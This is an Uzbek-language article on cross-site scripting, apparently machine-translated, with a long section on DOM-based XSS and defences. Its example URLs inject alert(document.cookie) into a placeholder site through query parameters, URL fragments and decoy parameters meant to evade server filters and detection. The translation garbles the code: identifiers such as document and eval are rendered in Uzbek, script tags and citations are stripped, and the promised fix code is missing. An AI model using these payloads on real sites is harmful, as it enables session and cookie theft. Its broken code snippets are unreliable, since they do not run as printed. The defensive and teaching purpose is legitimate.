    Shuni tushunish kerakki, veb-sayt ushbu hujumdan bevosita ta'sir qilmasa ham (u normal ishlashda davom etadi, unda hech qanday zararli kod bajarilmaydi, DoS hujumi sodir bo'lmaydi va sayt ma'lumotlari to'g'ridan-to'g'ri o'qilmaydi yoki o'zgartirilmaydi) , bu hali ham sayt o'z mijozlari yoki mehmonlariga taqdim etadigan xavfsizlik tizimidagi buzilishdir. Bu zaif xavfsizlik belgilariga ega bo'lgan dasturni joylashtirish uchun ishlatiladigan saytga o'xshaydi. Shu sababli, tajovuzkor mijozning xavfsizlik yorlig'ini taxmin qilishi va o'zini u (yoki uning) sifatida ko'rsatishi mumkin.

    Ilovadagi zaif nuqta - bu skript bo'lib, u qiymatidan qat'iy nazar o'z parametrini qaytaradi. Yaxshi skript parametrning to'g'ri formatda ekanligiga ishonch hosil qilishi kerak, unda maqbul belgilar mavjud va hokazo. To'g'ri parametr HTML teglari yoki JavaScript kodini o'z ichiga olishi uchun odatda hech qanday sabab yo'q. Parametrni javobga kiritish yoki ilovada ishlatishdan oldin ular o'chirilishi kerak. Bu xavfsizlikni ta'minlaydi.

    Veb-saytingizni XSS hujumlaridan himoya qilishning uchta usuli mavjud.

  • Kirish ma'lumotlarini filtrlash orqali (ba'zan kirishni tozalash deb ataladi). Har bir foydalanuvchi kiritishi uchun (u parametr yoki HTML sarlavhasi bo'lsin), har bir o'z-o'zidan yozilgan skript HTML teglariga, jumladan JavaScript kodiga qarshi kengaytirilgan filtrlashdan foydalanishi kerak. Misol uchun, oldingi misoldagi Welcome.cgi skripti nom parametrini dekodlashdan keyin tegni filtrlashi kerak. Ushbu usul bir qator jiddiy kamchiliklarga ega.
    • Bu dasturchini talab qiladi yaxshi bilim xavfsizlik texnologiyalari.
    • Bu dasturchidan barcha mumkin bo'lgan kirish ma'lumotlar manbalarini qamrab olishni talab qiladi (so'rov parametrlari, POST so'rovining asosiy parametrlari, HTTP sarlavhalari).
    • U uchinchi tomon skriptlari yoki serverlaridagi zaifliklardan himoya qila olmaydi. Masalan, u veb-serverlardagi (manba yo'lini ko'rsatadigan) xato sahifalaridagi muammolardan himoya qilmaydi.
  • "Chiqishni filtrlash" ni bajarish, ya'ni. foydalanuvchi ma'lumotlarini skript qabul qilganda emas, balki brauzerga qaytarib yuborilganda filtrlash. Yaxshi misol Ushbu yondashuv ma'lumotlar bazasiga ma'lumotlarni kiritadigan va keyin uni ko'rsatadigan skript bo'lishi mumkin. Bunday holda, filtrni dastlabki kirish qatoriga emas, balki faqat chiqish versiyasiga qo'llash muhimdir. Ushbu usulning kamchiliklari kirish filtriga o'xshaydi.
  • Uchinchi tomon ilovalari xavfsizlik devorini o'rnatish (xavfsizlik devori). Ushbu ekran XSS hujumlarini veb-serverga va zaif skriptlarga yetib borishdan oldin to'xtatadi va ularni bloklaydi. Ilovaning xavfsizlik devorlari mahalliy dastur skripti yoki yoʻlidan, uchinchi tomon skriptidan yoki hech qanday resurslarni tavsiflamaydigan skriptdan qatʼi nazar, ularni umumiy usulda (jumladan, yoʻl va HTTP sarlavhalari) koʻrib chiqish orqali barcha kiritish usullarini qamrab olishi mumkin. hammasi (masalan, serverdan 404 javob sahifasini ishga tushirish uchun mo'ljallangan). Har bir kirish manbai uchun dastur xavfsizlik devori turli xil HTML teglari va JavaScript kodlari uchun ma'lumotlarni tekshiradi. Agar mos keladiganlar bo'lsa, so'rov bloklanadi va zararli ma'lumotlar serverga etib bormaydi.
  • Veb-saytni himoya qilishning mantiqiy xulosasi uning xavfsizligini XSS hujumlaridan tekshirishdir. Saytni XSS dan himoya qilish singari, himoya darajasini tekshirish ham qo'lda (qiyin usulda) yoki veb-ilovalarning zaifligini baholash uchun avtomatlashtirilgan vositadan foydalanish mumkin. Ushbu vosita sizning yelkangizdan tekshirish yukini olib tashlaydi. Ushbu dastur sayt bo'ylab harakatlanadi va o'zi aniqlagan barcha skriptlar uchun biladigan barcha variantlarni ishga tushiradi. Bu barcha parametrlar, sarlavhalar va yo'llarni sinab ko'radi. Ikkala usulda ham ilovaga kiritilgan har bir ma'lumot (barcha skriptlarning parametrlari, HTTP sarlavhalari, yo'llar) imkon qadar ko'p variantlar bilan tekshiriladi. Va agar javob sahifasida brauzer uni ishga tushirishi mumkin bo'lgan kontekstda JavaScript kodi mavjud bo'lsa, XSS zaiflik xabari paydo bo'ladi. Masalan, quyidagi matnni yuborishda:

    ogohlantirish (document.cookie)

    Har bir skriptning har bir parametri uchun (XSS zaifligining eng oddiy shaklini aniqlash uchun JavaScript imkoniyatlariga ega brauzer orqali), agar matn JavaScript kodi sifatida talqin qilinsa, brauzer JavaScript Alert oynasini ochadi. Albatta, bir nechta variant mavjud. Shuning uchun faqat ushbu variantni sinab ko'rish etarli emas. Va siz allaqachon bilib olganingizdek, JavaScript kodini turli so'rov maydonlariga kiritishingiz mumkin: parametrlar, HTTP sarlavhalari va yo'l. Biroq, ba'zi hollarda (ayniqsa, HTTP Referer sarlavhasi bilan) brauzer yordamida hujum qilish noqulay.

    Saytlar o'rtasida skript yaratish xakerlar veb-ilovalarni buzish uchun foydalanadigan eng keng tarqalgan dastur darajasidagi hujumlardan biridir. Bu, shuningdek, eng xavfli hisoblanadi. Bu ma'lum bir veb-sayt mijozlarining shaxsiy hayotiga hujumdir. Mijoz ma'lumotlari o'g'irlanganda va kelajakda qandaydir maqsadlarda foydalanilganda, bu xavfsizlik tizimining to'liq yo'q qilinishiga olib kelishi mumkin. Afsuski, ushbu maqolada aytib o'tilganidek, bu ko'pincha mijoz yoki tashkilot hujumga uchraganini bilmasdan amalga oshiriladi.

    Veb-saytlar ushbu zararli harakatlardan himoyasiz bo'lishining oldini olish uchun tashkilot onlayn va oflayn xavfsizlik strategiyasini amalga oshirishi muhimdir. Bunga veb-saytlarning barcha ma'lum zaifliklarini va saytdagi maxsus ilovalarni (masalan, saytlararo skriptlarni) sinab ko'rishi mumkin bo'lgan avtomatlashtirilgan zaiflik tekshiruvi kiradi. To'liq onlayn himoya qilish uchun veb-serverlarda yoki ularning orqasida joylashgan kod va ma'lumotlarning har qanday turdagi manipulyatsiyasini aniqlay oladigan va bloklay oladigan xavfsizlik devorini o'rnatish juda muhimdir.

    Saytlararo skript nima ekanligini hammamiz bilamiz, to'g'rimi? Bu zaiflik bo'lib, unda tajovuzkor zararli ma'lumotlarni (odatda Javascript kodini o'z ichiga olgan HTML) yuboradi va keyinchalik ilova tomonidan qaytariladi va Javascript kodining bajarilishiga olib keladi. Demak, bu haqiqat emas! Hech bo'lmaganda uning asosiy fundamental tamoyillariga ko'ra, ushbu ta'rifga mos kelmaydigan XSS hujumining bir turi mavjud. XSS hujumlari, yuqorida ta'riflanganidek, bir lahzali (zararli ma'lumotlar so'rovdan so'ng darhol brauzerga qaytariladigan sahifaga kiritilgan) va kechiktirilgan (zararli ma'lumotlar bir muncha vaqt o'tgach qaytariladi) bo'linadi. Ammo XSS hujumining uchinchi turi mavjud bo'lib, u zararli ma'lumotlarni serverga yuborishga asoslanmagan. Garchi bu qarama-qarshi bo'lib tuyulsa-da, bunday hujumning ikkita yaxshi hujjatlashtirilgan misoli mavjud. Ushbu maqolada XSS hujumlarining uchinchi turi tasvirlangan - XSS orqali DOM (DOM asosidagi XSS). Bu erda hujum haqida hech qanday yangi narsa yozilmaydi, aksincha, ushbu materialning yangiligi hujumning o'ziga xos xususiyatlarini ta'kidlashda bo'lib, ular juda muhim va qiziqarli.

    Ishlab chiquvchilar va dastur foydalanuvchilari DOM orqali XSS hujumlari tamoyillarini tushunishlari kerak, chunki ular veb-ilovalarga tahdid soladi va oddiy XSS-dan farq qiladi. Internetda DOM orqali XSSga qarshi himoyasiz bo'lgan ko'plab veb-ilovalar mavjud va shu bilan birga XSS uchun sinovdan o'tgan va ushbu turdagi hujumlarga "daxlsiz" deb topilgan. Ishlab chiquvchilar va sayt ma'murlari DOM orqali XSS ni aniqlash va himoya qilish usullari bilan tanishishlari kerak, chunki bu usullar standart XSS zaifliklarini bartaraf etishda qo'llaniladigan usullardan farq qiladi.

    Kirish

    O'quvchi XSS hujumlarining asosiy tamoyillari bilan tanish bo'lishi kerak (, , , , ). XSS odatda instant() va dangasa saytlararo skriptlarga ishora qiladi. Tezkor XSS bilan zararli kod (Javascript) hujum qilingan server tomonidan HTTP so'roviga javob sifatida darhol qaytariladi. Kechiktirilgan XSS zararli kod hujumga uchragan tizimda saqlanganligini va keyinchalik uni kiritish mumkinligini anglatadi HTML sahifasi zaif tizim. Yuqorida aytib o'tilganidek, bu tasnif XSS ning asosiy xususiyati zararli kodning brauzerdan serverga yuborilishi va bir xil brauzerga (flash XSS) yoki boshqa brauzerga (kechiktirilgan XSS) qaytarilishini nazarda tutadi. Ushbu maqolada bu noto'g'ri tasniflash masalasi ko'tariladi. Server tomonidan qaytarilgan sahifaga kod kiritishga tayanmaydigan XSS hujumini amalga oshirish qobiliyati xavfsizlik va aniqlash usullariga katta ta'sir ko'rsatadi. Bunday hujumlarning tamoyillari ushbu maqolada muhokama qilinadi.

    Misol va sharhlar

    Eng oddiy hujum stsenariysini tavsiflashdan oldin, bu erda tasvirlangan usullar allaqachon bir necha marta ommaga namoyish etilganligini ta'kidlash kerak (masalan, , va ). Men quyida keltirilgan usullar birinchi marta tasvirlangan deb da'vo qilmayman (garchi ularning ba'zilari ilgari nashr etilgan materiallardan farq qilsa ham).

    Zaif saytning belgisi hujjat.location, document.URL yoki document.referrer maʼlumotlaridan (yoki tajovuzkor taʼsir qilishi mumkin boʻlgan boshqa obʼyektlardan) xavfsiz tarzda foydalaniladigan HTML sahifasining mavjudligi boʻlishi mumkin.

    Ushbu Javascript ob'ektlari bilan tanish bo'lmagan o'quvchilar uchun eslatma: Javascript kodi brauzerda ishlaganda, u DOM ichida taqdim etilgan bir nechta ob'ektlarga kiradi ( Hujjat ob'ekti Model Ob'ekt modeli hujjat). Hujjat ob'ekti ushbu ob'ektlarning asosiysi bo'lib, sahifaning ko'pgina xususiyatlariga kirishni ta'minlaydi. Ushbu ob'ektda joylashuv, URL va havola kabi ko'plab ichki ob'ektlar mavjud. Ular brauzer tomonidan brauzer nuqtai nazariga ko'ra boshqariladi (quyida ko'rib chiqilayotganidek, bu juda muhim). Demak, document.URL va document.location sahifaning URL manzilini yoki aniqrog‘i, URL orqali brauzer nimani anglatishini o‘z ichiga oladi. E'tibor bering, ushbu ob'ektlar HTML sahifasining asosiy qismidan olinmagan. Hujjat obyekti sahifaning tahlil qilingan HTML kodini o'z ichiga olgan tana ob'ektini o'z ichiga oladi.

    URL satrini tahlil qiluvchi (document.URL yoki document.location orqali kirish mumkin) va uning qiymatiga ko'ra, mijoz tomonida ba'zi amallarni bajaradigan Javascript kodini o'z ichiga olgan HTML sahifani topish qiyin emas. Quyida bunday kodning namunasi keltirilgan.

    Quyidagi misolga o'xshab, quyidagi HTML sahifasini ko'rib chiqing (tarkibni http://www.vulnerable.site/welcome.html deb hisoblang):

    Xush kelibsiz! Salom var pos=document.URL.indexOf("name=")+5; document.write(document.URL.substring(pos,document.URL.length));
    Tizimimizga xush kelibsiz…

    Biroq, bunday so'rov -

    http://www.vulnerable.site/welcome.html?name=alert(document.cookie)

    XSS sabab bo'ladi. Keling, nima uchun ekanligini ko'rib chiqaylik: jabrlanuvchining brauzeri ushbu havolani olgan holda www.vulnerable.site ga HTTP so'rovini yuboradi va yuqorida aytib o'tilgan (statik!) HTML sahifani oladi. Jabrlanuvchining brauzeri ushbu HTML kodini tahlil qilishni boshlaydi. DOM URL maydoniga ega bo'lgan hujjat ob'ektini o'z ichiga oladi va bu maydon DOM yaratish vaqtida joriy sahifaning URL qiymati bilan to'ldiriladi. Tahlil qiluvchi Javascript kodiga yetganda, u uni bajaradi, bu esa ko'rsatilgan sahifaning HTML kodini o'zgartirishga olib keladi. Bunday holda, kod document.URL ga murojaat qiladi va ushbu satrning bir qismi darhol tahlil qilinadigan tahlil qilish paytida HTMLga kiritilganligi sababli, aniqlangan kod (alert(...)) xuddi shu sahifa kontekstida bajariladi.

    Eslatmalar:

    1. Zararli kod HTML sahifasiga kiritilmagan (boshqa XSS turlaridan farqli o'laroq).
    2. Brauzer URL belgilarini o'zgartirmasa, ushbu ekspluatatsiya ishlaydi. Mozilla ichki o'rnatilgan hujjat ob'ektlarida avtomatik ravishda '' belgilarni (mos ravishda %3C va %3E da) kodlaydi. Agar URL to'g'ridan-to'g'ri manzil satriga kiritilgan bo'lsa, bu brauzer ushbu misolda tasvirlangan hujumga qarshi himoyasiz emas. Biroq, agar hujum "' belgilarini talab qilmasa (asl kodlanmagan shaklda), hujumni amalga oshirish mumkin. Microsoft Internet Explorer 6.0 "'" kodini kodlamaydi va shuning uchun hech qanday cheklovlarsiz tasvirlangan hujumga qarshi himoyasizdir. Biroq, "'" talab qilinmaydigan ko'plab turli xil hujum stsenariylari mavjud va shuning uchun hatto Mozilla ham bu hujumdan himoyalanmaydi.

    Ushbu turdagi zaifliklarni aniqlash va oldini olish usullari

    Yuqoridagi misolda, zararli kod hali ham serverga yuboriladi (HTTP so'rovining bir qismi sifatida), shuning uchun hujum boshqa XSS hujumlari kabi aniqlanishi mumkin. Ammo bu hal qilinadigan muammo.

    Quyidagi misolni ko'rib chiqing:

    http://www.vulnerable.site/welcome.html#name=alert(document.cookie)

    Fayl nomining o'ng tomonidagi "#" belgisiga e'tibor bering. Bu brauzerga ushbu belgidan keyin hamma narsa so'rovning bir qismi emasligini aytadi. Microsoft Internet Explorer (6.0) va Mozilla '#' belgisidan keyin fragmentni serverga yubormaydi, shuning uchun server uchun bu so'rov http://www.vulnerable.site/welcome.html ga ekvivalent bo'ladi, ya'ni. zararli kod hatto server tomonidan sezilmaydi. Shunday qilib, ushbu texnika tufayli brauzer zararli yukni serverga yubormaydi.

    Biroq, ba'zi hollarda foydali yukni yashirish mumkin emas: in va zararli foydali yuk http://username@host/ kabi URL manzilidagi foydalanuvchi nomining bir qismidir. Bunday holda, brauzer foydalanuvchi nomini (zararli yuk) o'z ichiga olgan Avtorizatsiya sarlavhasi bilan so'rov yuboradi, natijada zararli kod serverga etib boradi (Base64 kodlangan - shuning uchun IDS/IPS hujumni aniqlash uchun avval ushbu ma'lumotlarni dekodlashi kerak). Biroq, serverdan ushbu foydali yukni mavjud HTML sahifalaridan biriga kiritish shart emas, garchi bu XSS hujumini amalga oshirish uchun zaruriy shart bo'lsa ham.

    Shubhasiz, foydali yuk butunlay yashirin bo'lishi mumkin bo'lgan holatlarda, aniqlash (IPS) va oldini olish (IPS) xavfsizlik devorlari veb-ilovalar uchun) ushbu hujumdan to'liq himoya qila olmaydi. Agar foydali yuk serverga yuborilishi kerak bo'lsa ham, ko'p hollarda uni aniqlanmaslik uchun ma'lum bir tarzda o'zgartirish mumkin. Misol uchun, agar ba'zi parametr himoyalangan bo'lsa (masalan, yuqoridagi misoldagi nom parametri), hujum skriptidagi kichik o'zgarish quyidagi natijani berishi mumkin:

    (document.cookie)

    Qattiqroq xavfsizlik siyosati nom parametrini yuborishni talab qiladi. Bunday holda siz quyidagi so'rovni yuborishingiz mumkin:

    http://www.vulnerable.site/welcome.html?notname=alert(document.cookie)&name=Joe

    Agar sizning xavfsizlik siyosatingiz qo'shimcha parametr nomlarini cheklasa (masalan: foobar), siz quyidagi parametrdan foydalanishingiz mumkin:

    http://www.vulnerable.site/welcome.html?foobar=name=alert(document.cookie)&name=Joe

    Esda tutingki, e'tibor berilmagan parametr (foobar) birinchi bo'lib, uning qiymatida foydali yuk bo'lishi kerak.

    Bu yerda tasvirlangan hujum stsenariysi tajovuzkor uchun yanada ma’qulroq, chunki document.location ning to‘liq qiymati HTML sahifasiga yozilgan (Javascript kodi ma’lum parametr nomini qidirmaydi). Shunday qilib, tajovuzkor quyidagilarni yuborish orqali foydali yukni butunlay yashirishi mumkin:

    /attachment.cgi?id=&action=foobar#alert(document.cookie)

    Agar foydali yuk server tomonidan tahlil qilingan bo'lsa ham, himoya faqat so'rov rad etilsa yoki javob ba'zi xato matni bilan almashtirilsa kafolatlanishi mumkin. Yana va ga murojaat qilish: agar avtorizatsiya sarlavhasi oraliq xavfsizlik tizimi tomonidan oddiygina olib tashlansa, asl sahifa qaytarilsa, bu hech qanday ta'sir qilmaydi. Xuddi shunday, noqonuniy belgilarni olib tashlash yoki kodlash orqali serverdagi ma'lumotlarni qayta ishlashga bo'lgan har qanday urinish bu hujumga qarshi samarasiz bo'ladi.

    document.referrer holatida foydali yuk Referer sarlavhasi orqali serverga yuboriladi. Biroq, agar foydalanuvchi brauzeri yoki oraliq himoyasi ushbu sarlavhani olib tashlasa, hujumning izi qolmaydi, bu butunlay aniqlanmasligi mumkin.

    Xulosa qilib aytganda, an'anaviy usullar, ya'ni, degan xulosaga keldik

    1. Server tomonidagi HTML ma'lumotlarini kodlash
    2. Taqiqlangan kirishlarni server tomonidan olib tashlash/kodlash DOM XSS ga qarshi ishlamaydi.

    Zararli ma'lumotlarni "bombardimon qilish" orqali zaifliklarni avtomatik ravishda qidirish (ba'zan fuzzing deb ataladi) ishlamaydi, chunki bu texnikadan foydalanadigan dasturlar odatda kiritilgan ma'lumotlar qaytarilgan sahifada mavjudmi yoki yo'qligiga qarab xulosa chiqaradi (kontekstda kodni bajarish o'rniga). mijoz tomonidagi brauzer va natijalarni kuzatish). Biroq, agar dastur sahifada topilgan Javascript kodini statik ravishda tahlil qila olsa, u shubhali belgilarni ko'rsatishi mumkin (pastga qarang). Va, albatta, agar xavfsizlik vositalari Javascript kodini bajara olsa (va DOM ob'ektlarini to'g'ri ishga tushirsa) yoki bunday bajarilishini taqlid qilsa, ular ushbu hujumni aniqlay oladilar.

    Brauzer yordamida zaiflikni qo'lda qidirish ham ishlaydi, chunki brauzer mijoz tomonidan Javascript kodini bajarishi mumkin. Zaiflik vositalari ushbu usulni qo'llashi va uning bajarilishi natijalarini kuzatish uchun mijoz kodini ishga tushirishi mumkin.
    Samarali himoya

    Mijoz tomonidan hujjatlarni qayta yozish, qayta yo'naltirish yoki mijoz tomoni ma'lumotlaridan foydalanadigan boshqa shunga o'xshash harakatlardan saqlaning. Ushbu harakatlarning aksariyati dinamik sahifalar (server tomoni) yordamida amalga oshirilishi mumkin.
    2.

    Mijoz tomonida kod xavfsizligini (Javascript) tahlil qilish va takomillashtirish. Foydalanuvchi (tajovuzkor) tomonidan ta'sirlanishi mumkin bo'lgan DOM ob'ektlariga havolalar diqqat bilan tekshirilishi kerak. Quyidagi ob'ektlarga alohida e'tibor berilishi kerak (lekin ular bilan cheklanmagan):
    * hujjat.URL
    * hujjat.URLUnkodlangan
    * document.location (va uning xususiyatlari)
    * document.referrer
    * window.location (va uning xususiyatlari)

    E'tibor bering, hujjat va oyna ob'ektlarining xususiyatlariga bir necha usullar bilan murojaat qilish mumkin: aniq (misol: window.location), bilvosita (misol: joylashuv) yoki tutqichni olish va undan foydalanish (misol: handle_to_some_window.location).

    HTMLga to'g'ridan-to'g'ri kirish yoki to'g'ridan-to'g'ri DOMga kirish orqali DOM aniq yoki potentsial ravishda o'zgartiriladigan kodga alohida e'tibor qaratish lozim. Misollar (bu to'liq ro'yxat emas):
    * Sahifaning HTML kodiga kirish:
    o document.write(…)
    o document.writeln(…)
    o document.body.innerHtml=…
    * DOMni to'g'ridan-to'g'ri o'zgartirish (shu jumladan DHTML hodisalari):
    o document.forms.action=… (va boshqa oʻzgarishlar)
    o document.attachEvent(…)
    o hujjat. yaratish…(…)
    o document.execCommand(…)
    o hujjat.tana. ... (tana ob'ekti orqali DOMga kirish)
    o window.attachEvent(…)
    * Hujjatning URL manzilini o'zgartirish:
    o document.location=… (shuningdek, joylashuv obyektiga href, xost va xost nomi qiymatlarini belgilash)
    o document.location.hostname=…
    o document.location.replace(…)
    o document.location.assign(…)
    o hujjat.URL=…
    o window.navigate(…)
    * Ochilish/o'zgartirish oyna obyekti:
    o hujjat.open(…)
    o window.open(…)
    o window.location.href=… (shuningdek, joylashuv obyektiga xost va xost nomi qiymatlarini belgilash)
    * Skriptni to'g'ridan-to'g'ri bajarish:
    o baho (...)
    o window.execScript(…)
    o window.setInterval(…)
    o window.setTimeout(…)

    Yuqoridagi misol bilan davom etsak, uchun samarali himoya Asl skriptni quyidagi kod bilan almashtirish mumkin, u HTML sahifasiga yozilgan satrda faqat harf-raqamli belgilar mavjudligini tekshiradi.



     


    O'qing:



    Nima uchun noutbukga kichik SSD kerak va unga Windows-ni o'rnatishga arziydimi?

    Nima uchun noutbukga kichik SSD kerak va unga Windows-ni o'rnatishga arziydimi?

    O'yinlar uchun SSD drayveri qanchalik muhim, u nimaga ta'sir qiladi va ushbu texnologiyaning foydaliligi nimada - bu bizning maqolamizda muhokama qilinadi. Qattiq holat...

    Dasturlar yordamida flesh-diskni ta'mirlash Noutbukdagi USB portni qanday tuzatish kerak

    Dasturlar yordamida flesh-diskni ta'mirlash Noutbukdagi USB portni qanday tuzatish kerak

    USB portini qanday tuzatish mumkin? Mutaxassisdan javob: Kompyuterdan foydalanganda USB portlari tez-tez buziladi. Birinchidan, ular muvaffaqiyatsizlikka uchradi ...

    Disk tuzilishi buzilgan, o'qish mumkin emas, nima qilishim kerak?

    Disk tuzilishi buzilgan, o'qish mumkin emas, nima qilishim kerak?

    Foydalanuvchilarning shaxsiy kompyuterlarida ko'pincha muhim ma'lumotlar - hujjatlar, fotosuratlar, videolar saqlanadi, ammo ma'lumotlarning zaxira nusxasi odatda...

    Kompyuter nimadan iborat?

    Kompyuter nimadan iborat?

    Nashr etilgan: 14.01.2017 Assalomu alaykum, do'stlar, bugun biz kompyuter tizim blokining dizaynini batafsil ko'rib chiqamiz. Keling, nima ekanligini bilib olaylik ...

    tasma tasviri RSS